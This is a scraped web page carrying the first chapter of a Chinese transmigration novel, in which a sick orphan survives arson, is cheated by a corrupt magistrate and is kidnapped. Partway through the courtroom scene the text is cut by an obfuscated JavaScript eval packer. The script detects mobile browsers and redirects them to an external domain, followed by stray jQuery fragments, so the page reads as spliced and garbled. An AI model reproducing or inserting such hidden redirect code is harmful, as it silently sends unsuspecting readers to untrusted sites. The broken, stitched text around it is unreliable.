默认冷灰
24号文字
方正启体

1. 初始

作者:灼时本书字数:K更新时间:
    “咳咳咳……”


    破旧的茅屋中传出时断时续的咳嗽声,轻微的声音从破洞漏至隔壁,邻居听闻,双目相视,皆看到对方的同情和惋惜。


    “这娃子怕是撑不过今晚了,也是造孽,好好的一家三口,两当家就因为一句话没了……”


    “嘘,你不要命了,这话要是传出去,指不定咱家就是下一个!”


    舒清屿到后面已经听不清,她躺在床榻上,试图撑起身,但手指已然僵硬,连握拳的力气都没有,仿佛呼吸都在耗费巨大的能量,起身无果,她只能静静躺着,感受身体在每一分每一秒中越发虚弱。


    恍惚中,耳畔传来一道窸窣窸窣声音,起初她以为是老鼠。


    “……真的要这么做,这不好吧,她不是都快死了?”


    ……是谁?


    “少啰嗦,我们只管听吩咐就是,快点弄,这也是让她早点解脱!”


    下一秒,呛鼻的烟味飘来,舒清屿猛然睁开双眼,烈火以惊人的速度吞噬周围的一切,火势已经蔓延到床榻,“噼里啪啦”作响,热气扑面袭来,苍白的脸烫得发红,她额头渗出汗珠滴落在地,瞬间就被热气蒸腾。


    她想要起身,但这副身体却完全不听使唤,心中不甘亦如今日的熊熊烈火,势要将一切燃尽才肯罢休。


    突然,她脑海响起一道声音:


    【叮——黑暗料理系统正在绑定中……绑定成功,检测到宿主生命值即将归零,紧急预案启动中……】


    【自动扣除知名度,扣除成功,当前知名度-9999,请宿主尽快偿还。】


    话音未落,舒清屿的身体如干涸的沙漠,迎来一股细流,她脸色依旧惨白,却有了些许力气,反手扯下锦被浸入铜盆,包裹全身。


    她那素手纤纤扣住床沿,忽然指节发白,竟将那沉木床榻生生举起,广袖下滑,露出腕间玉镯,随后——


    “轰!”


    整扇火门应声而碎,灼热气浪裹着火星扑面而来。


    浸湿的手帕捂住口鼻,埋头冲出房屋,后脚一着地。


    “砰——”


    最后一根横梁轰然断裂,茅屋瞬间崩塌,碎屑残片顷刻横飞,焦尘四溅。


    “小心,倒了!”、“快快灭火!”,场面一片乱哄哄的,附近的人拎着水桶出来灭火。


    她回望身后,已然成了火海,浓烟滚滚,照亮半边天,身体上的灼烧感还留有残留,急促地喘息牵扯出一丝抽痛,唇色以肉眼可见地速度褪去血色。


    方才的运动还是太激烈了,如今身体吃不消,这笔账,她记下了。


    “哎哟,小娃子,咋还愣在这里,快躲远点!”老妇人上前拽住舒清屿的手臂,往院外跑,舒清屿没有反抗,顺着她的力道远离。


    “呸,命真大。”


    舒清屿瞬间捕捉到这一道不和谐、且耳熟的声音,她目光穿过喧闹的人群,精准锁定两个老汉,一瘦一胖。


    她眸色一沉,拔高音量,指尖微颤地指向那两人,声音里刻意掺入一丝惊慌:“是他们,火是他们是放的!”


    两人陡然煞白,对视一眼,猛然推开人群就要逃窜。


    这一跑,无异于自认罪行。


    “他们要跑了!”


    “快拦住他们!”


    人群霎时沸腾,怒喝声四起,最近的妇人抡起舀水瓢砸向两人,他们一个踉跄间,几位壮汉趁机上前,一把扣住二人肩膀,狠力一掼。


    两人“砰”地重重栽倒在地,如被渔网捕获的活鱼拼命扭动,却被无数双手摁住,动弹不得。


    “你们这两个丧心病狂的,人家好好一个家就这么没了!”


    “赶紧送他们去衙门,这般祸害,可不能再放他们出来。”


    天际泛白,火势终于控制住,原先的茅屋只残留满地灰烬,舒清屿捧起一把,端详片刻,将其凑上鼻尖细闻,思量该怎么办。


    她如今身无分文,身上的粗布麻衣,还是邻居老妇人看她可怜送的。那两个放火虽被押送至牢中,但定罪是个问题,他们背后的人大概率陈家公子,毕竟原主只得罪过他。


    一个民女又是怎么得罪陈知县的儿子,那就得从头说起:


    舒清屿本是一名灾难应急炊事员,上能徒手攀危楼救粮仓,下能生火做千人饭。如今却穿进这架空历史、身患重病的孤女身上。


    原主的病是自娘胎带出的,父母靠耕田为生,勉强将她拉扯及笄。病情稍微好些,原主想摆摊卖掉之前的手工活,父母拗不过她,便陪同她一起去了。起初尚且安稳,因着原主病美人的容貌,吸引不少路人围观购买。


    但收摊之际,来了几个锦衣华服的年轻公子,为首的是本地桑落县陈知县的嫡长子,他性格跋扈、阴晴不定,事情就开始不可控了。


    原主不过说了句:客官,对不住了,这货已经卖完了,请您另寻别家。


    他便呵斥原主不知好歹,刚来就要收摊,是不是瞧不起他。


    然后就是不欢而散,后面就相继有人来找茬,农田被毁,原主爹去报官,结果在途中意外身亡,原主娘强忍悲痛去收尸,少了一个当家的,原本的家过得更是拮据,原主的病情还加重了。


    原主娘一人干好几份工,原本一手女红手艺还能勉强养家,但天有不测风云,那些店铺不再收她的货,有好心绣娘透露是有人专门下令禁止她们收货。原主娘在尝试另寻别镇的店铺时,坠河身亡,官府以其自杀草草结案。


    原主却是深信娘亲不是那种人,撑着身子安葬娘亲后,身体也彻底被压垮,当晚就一命呜呼,然后就是社畜的她来了。


    至于为什么外人会怀疑是陈家公子,因为这事真有先例,一小二恭维他,也被他搞得家破人亡,还是他自己醉后承认的,原因竟是嫌弃他恭维登不上台面,有失他的身份。


    这也不怪乎原主一家人遭罪,所有人怀疑的对象就是他,这也是为什么,外人会戏称是一句话就葬送全家。


    “舒清屿,县太爷请你过堂说话!”


    这一番话打断了舒清屿的回忆,她抬眼一看,原是衙役,只见他右手从怀中取出盖有朱印的传票,两指捏住上端向前平展。


    舒清屿上前细看,确实是官印后,便跟在他们身后,前往府衙。


    知县坐于高堂,师爷和书吏陪同,衙役手持水火棍分列两侧,高呼“升堂”,整个场面威严肃穆,堂外的旁听都不敢出声。


    陈知县惊堂木“啪”地一响:“大胆刁民,见了本官为何不跪?”


    “大人有所不知,民女身体自小羸弱多病,一跪就会晕倒,民女遭点罪无碍,怕是要耽误大人时辰。”舒清屿垂眼胡扯,说着还捂嘴咳嗽几声。


    陈知县斜睨师爷一眼,他会意躬身、低语道:“老爷,此女确系笃疾,若当堂昏厥,恐旁人嚼舌根,生出事端。”


    陈知县知道师爷是在提醒自己,最近不可平添事端。


    陈知县鼻腔里哼出声:“念尔病躯,姑且站着回话。”


    舒清屿状似惊喜,福了一礼:“谢大人体恤。”


    眼底暗光闪过——怎么突然表现出自己仁心了?夏玄律虽有严重疾病即笃疾证人,不得令其跪供,但对他们来说也只是一种摆设。她也只是尝试一下,反倒是成了?


    陈


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16323177|183186||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    知县再次重拍醒木:“舒清屿,你声称昨夜二人纵火行凶,可有证据?若查无实据,彼辈反诉你‘诬良为盗’,按《夏玄律》,诬告者反坐其罪,轻则笞杖,重则流徙。”


    舒清屿假意以袖试泪,颤声禀告:“青天大老爷明鉴!昨夜三更时分,民女忽听院外有人低语。正是这二人在计划放火,还声称是听从主子吩咐。


    “民女只来得及瞧上几眼,屋里就起火了,民女死里逃生后,一眼便认出他们,若他两个心里没鬼,怎的一听民女指认就逃?”


    “民女还看到那二人袖口油亮,今早在火场灰堆里还闻到油腥气。求老爷命人拿他们的衣裳与火场灰烬一并蒸验,若是同种油,必现原形。”


    舒清屿那时还躺在床上动弹不了,看见他们是假,但火堆里闻到的气味却是真,方才说的法子是蒸馏法,通过蒸馏提取物证残留。


    陈知县厉声呵斥:“大胆刁民!本县问案自有法度,岂容你妄加指点?府衙仵作、书吏皆经朝廷考选,难道还不如你一介村妇懂得勘验?!”


    “来人,将这妇人拖下去掌嘴二十!若再敢咆哮公堂,大刑伺候!”


    舒清屿袖口手指倏尔攥紧:不过是几句建议,他竟想当堂动用私刑!


    旁听者都开始交头接耳:“这女娃不过说了几句,怎么就被掌嘴了?”、“我听着那法子也不错啊,油能浮出水面,就是不知道为什么要蒸?”、“我看她讲一段话都要喘气,那身子骨受得了?”


    话里话外都是对她的同情。


    衙役已经上前,师爷冷眼旁观,突然想到什么,上前提醒道:“使不得啊,老爷,低调,低调啊!”随即疯狂使眼色。


    陈知县终于想起自己一怒之下忘了什么,他眼皮一跳,出声制止衙役:“等等。”


    众人目光投向高堂,舒清屿袖口下的拳头一松。


    只见他轻咳一声,捋须道:“罢了,念你乡野村妇,本官恕你妄言之罪,至于那两人——既已受皮肉之苦,又愿各赔银二两,此事便就此了结。”


    轻叩醒木:“来人,将调解文书取来,让她画押。”


    吏书将文书放置舒清屿跟前,示意她摁印,案件定性是意外事故,上面已然有那两人的手印。


    他们压根不在乎真相,只想了结案件!


    一股怒火烧至她心口,十指已深深掐入掌心。


    见她不画押,吏书对着衙役使眼色,劝道:“四两银子数目不小,你如今无亲无靠,姑娘且知足吧。”


    眼看一旁的衙役就要直接上手。


    舒清屿深知自己如今奈何不了他们,压制满腔怒意道:“大人说的是。”摁下手印,吏书满意点头,将银子递交到她手中。


    “退——堂——!”


    衙役齐声威喝,水火棍震响。舒清屿被送出府衙,回头深深看了一眼大堂的牌匾,「明镜高悬」四个鎏金大字高挂。


    “这不是舒家小女么,这么巧,你怎么傻站在这里,快跟伯母说道说道。”左侧一青衫妇人亲热地挽住她手臂,五指如铁钳锁住她的手臂。


    右侧同时贴上一鹅黄衣裙女子,“是啊,这也太巧了,我们去找个地方聊聊。”手紧握住她的手腕,一个尖锐的物体抵在她的腰部。


    舒清屿眉头紧锁,没有反抗,在她们的推搡下走进巷道,突然,一个布帛捂住她的口鼻,暗叹不好,猛然挣脱束缚,但已经晚了,眼前视野开始模糊,膝盖一软,整个人往前栽去。


    在意识彻底消散前最后一刻,她听到年轻女子不耐烦的埋怨:“这村妇力气好大,主子怎么直接让我们在衙门抓她,要是被发现……”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)